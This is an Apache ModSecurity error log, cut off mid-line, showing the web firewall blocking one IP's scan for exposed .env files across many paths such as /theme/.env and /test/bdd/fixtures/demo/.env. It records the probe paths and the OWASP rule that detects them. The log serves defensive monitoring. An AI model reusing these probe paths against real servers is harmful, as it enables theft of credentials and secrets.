[Wed Feb 25 06:05:41.506933 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/couchdb/.env&quot;] [unique_id &quot;aZ6DJeTWwZsZM3_RktVDywAAAAU&quot;]
[Wed Feb 25 06:05:41.507094 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/couchdb/.env&quot;] [unique_id &quot;aZ6DJeTWwZsZM3_RktVDywAAAAU&quot;]
[Wed Feb 25 06:05:41.513691 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /theme/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/theme/.env&quot;] [unique_id &quot;aZ6DJbZegw_qLbSTRXm6DwAAAAM&quot;]
[Wed Feb 25 06:05:41.513928 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/theme/.env&quot;] [unique_id &quot;aZ6DJbZegw_qLbSTRXm6DwAAAAM&quot;]
[Wed Feb 25 06:05:41.514079 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/theme/.env&quot;] [unique_id &quot;aZ6DJbZegw_qLbSTRXm6DwAAAAM&quot;]
[Wed Feb 25 06:05:41.548018 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/bdd/fixtures/demo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/demo/.env&quot;] [unique_id &quot;aZ6DJeTWwZsZM3_RktVDzAAAAAU&quot;]
[Wed Feb 25 06:05:41.548278 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/demo/.env&quot;] [unique_id &quot;aZ6DJeTWwZsZM3_RktVDzAAAAAU&quot;]
[Wed Feb 25 06:05:41.548450 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/demo/.env&quot;] [unique_id &quot;aZ6DJeTWwZsZM3_RktVDzAAAAAU&quot;]
[Wed Feb 25 06:05:41.555476 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /theme_static/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/theme_static/.env&quot;] [unique_id &quot;aZ6DJbZegw_qLbSTRXm6EAAAAAM&quot;]
[Wed Feb 25 06:05:41.555731 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/theme_static/.env&quot;] [unique_id &quot;aZ6DJbZegw_qLbSTRXm6EAAAAAM&quot;]
[Wed Feb 25 06:05:41.555900 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/theme_static/.env&quot;] [unique_id &quot;aZ6DJbZegw_qLbSTRXm6EAAAAAM&quot;]
[Wed Feb 25 06:05:41.582579 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /thumb/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/thumb/.env&quot;] [unique_id &quot;aZ6DJbZegw_qLbSTRXm6EQAAAAM&quot;]
[Wed Feb 25 06:05:41.582840 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/thumb/.env&quot;] [unique_id &quot;aZ6DJbZegw_qLbSTRXm6EQAAAAM&quot;]
[Wed Feb 25 06:05:41.583014 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/thumb/.env&quot;] [unique_id &quot;aZ6DJbZegw_qLbSTRXm6EQAAAAM&quot;]
[Wed Feb 25 06:05:41.633863 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /thumbs/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/thumbs/.env&quot;] [unique_id &quot;aZ6DJbZegw_qLbSTRXm6EgAAAAM&quot;]
[Wed Feb 25 06:05:41.634155 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/thumbs/.env&quot;] [unique_id &quot;aZ6DJbZegw_qLbSTRXm6EgAAAAM&quot;]
[Wed Feb 25 06:05:41.634372 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/thumbs/.env&quot;] [unique_id &quot;aZ6DJbZegw_qLbSTRXm6EgAAAAM&quot;]
[Wed Feb 25 06:05:41.642144 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/bdd/fixtures/demo/openapi/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/demo/openapi/.env&quot;] [unique_id &quot;aZ6DJeTWwZsZM3_RktVDzQAAAAU&quot;]
[Wed Feb 25 06:05:41.642577 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/demo/openapi/.env&quot;] [unique_id &quot;aZ6DJeTWwZsZM3_RktVDzQAAAAU&quot;]
[Wed Feb 25 06:05:41.642841 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/demo/openapi/.env&quot;] [unique_id &quot;aZ6DJeTWwZsZM3_RktVDzQAAAAU&quot;]
[Wed Feb 25 06:05:41.658598 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tiedostot/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tiedostot/.env&quot;] [unique_id &quot;aZ6DJbZegw_qLbSTRXm6EwAAAAM&quot;]
[Wed Feb 25 06:05:41.658855 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tiedostot/.env&quot;] [unique_id &quot;aZ6DJbZegw_qLbSTRXm6EwAAAAM&quot;]
[Wed Feb 25 06:05:41.659032 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tiedostot/.env&quot;] [unique_id &quot;aZ6DJbZegw_qLbSTRXm6EwAAAAM&quot;]
[Wed Feb 25 06:05:41.725107 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/bdd/fixtures/did-method-rest/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/did-method-rest/.env&quot;] [unique_id &quot;aZ6DJeTWwZsZM3_RktVDzgAAAAU&quot;]
[Wed Feb 25 06:05:41.725471 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/did-method-rest/.env&quot;] [unique_id &quot;aZ6DJeTWwZsZM3_RktVDzgAAAAU&quot;]
[Wed Feb 25 06:05:41.725746 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/did-method-rest/.env&quot;] [unique_id &quot;aZ6DJeTWwZsZM3_RktVDzgAAAAU&quot;]
[Wed Feb 25 06:05:41.763204 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/bdd/fixtures/did-rest/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/did-rest/.env&quot;] [unique_id &quot;aZ6DJeTWwZsZM3_RktVDzwAAAAU&quot;]
[Wed Feb 25 06:05:41.763624 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/did-rest/.env&quot;] [unique_id &quot;aZ6DJeTWwZsZM3_RktVDzwAAAAU&quot;]
[Wed Feb 25 06:05:41.763884 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/did-rest/.env&quot;] [unique_id &quot;aZ6DJeTWwZsZM3_RktVDzwAAAAU&quot;]
[Wed Feb 25 06:05:41.789618 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/bdd/fixtures/edv-rest/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/edv-rest/.env&quot;] [unique_id &quot;aZ6DJeTWwZsZM3_RktVD0AAAAAU&quot;]
[Wed Feb 25 06:05:41.789924 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/edv-rest/.env&quot;] [unique_id &quot;aZ6DJeTWwZsZM3_RktVD0AAAAAU&quot;]
[Wed Feb 25 06:05:41.790128 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/edv-rest/.env&quot;] [unique_id &quot;aZ6DJeTWwZsZM3_RktVD0AAAAAU&quot;]
[Wed Feb 25 06:05:41.858769 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/bdd/fixtures/openapi-demo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag 